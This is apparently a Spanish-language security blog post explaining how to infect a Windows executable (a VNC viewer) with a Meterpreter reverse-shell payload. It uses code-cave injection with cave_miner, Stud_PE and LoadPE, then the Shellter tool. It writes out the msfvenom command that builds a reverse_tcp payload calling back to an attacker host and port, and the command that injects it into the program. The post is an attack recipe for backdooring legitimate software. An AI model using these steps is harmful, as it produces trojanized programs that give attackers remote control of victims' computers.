Blog con notas, publicaciones sobre exploits, uso de herramientas, búsqueda de vulnerabilidades y más. @Yonatan_correa
24 agosto 2018
(PE) - Inyectando un shellcode en un archivo exe
Inyectando un shellcode en un archivo exe de portable executable
En este post vamos a usar 2 herramientas para infectar un Portable Executable. En un próximo post lo aremos de forma manual para entender mejor el inflo interno y los pasos que realizo la herramienta
Según wikipedia PE: El formato Portable Executable (PE) es un formato de archivo para archivos ejecutables, de código objeto, bibliotecas de enlace dinámico (DLL), archivos de fuentes FON, y otros usados en versiones de 32 bit y 64 bit del sistema operativo Microsoft Windows.
Bueno empecemos
Primero vemos las opciones que tiene el Cave_miner
Ahora verificamos si la aplicación tiene espacios disponible
Ahora validamos con el depurador que la dirección que esta en vaddress 004474E5 no tenga contenido alguno
Bueno ahora elegimos el que más espacio tiene para poder inyectar nuestro shellcode
Creamos el shellcode en hexadecimal usando el msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.210 LPORT=4444 -f raw -o meter.bin
Ahora usamos el cave_miner para inyectar la shell, en ese caso usamos el siguiente comando
cave_miner inject meter.bin vncviewer2.exe 0x000474e5
Ahora vamos a validar que el contenido este en el archivo, para eso usaremos ele depurador y nos dirigimos a la dirección de memoria
Ahora que pegamos el código en la misma dirección que nos dio el cave_miner 004474E5
Ahora usamos la herramienta Stud_PE para asignar la dirección del offset
Abrir el Stud_PE vamos a Rva<=>Raw -> File offset y ponemos la dirección que nos da el cave_mine en begin y guardamos
Ahora cambiamos la dirección del Entry Point, para eso usaremos la herramienta LoadPE
LoadPE -> PE editor
Ahora guardamos todo y ejecutamos el programa
Y este nos da un meterpreter :)
Ahora usaremos la herramienta shellter
Podemos elegir auto o manual
Vamos siguiendo las instrucciones y entre esas elegimos el Payloads
Ahora cuando finaliza, vemos que ahí una dirección virtual 0x40f755
Ahora buscamos la dirección virtual que uso y vemos el código usando nuestro debugger
Listo, si vemos la imagen de arriba, vemos una diferencia entre el código anterior al de ahora
Al ejecutar el programa vemos que nos da shell :)
En un próximo post, lo aremos de forma manual y paso a paso ya que es más divertido y vemos como funciona a bajo nivel y también algunas técnicas de encode como XOR
Referencias:
https://es.wikipedia.org/wiki/Portable_Executable
Suscribirse a:
Comentarios de la entrada (Atom)
No hay comentarios.:
Publicar un comentario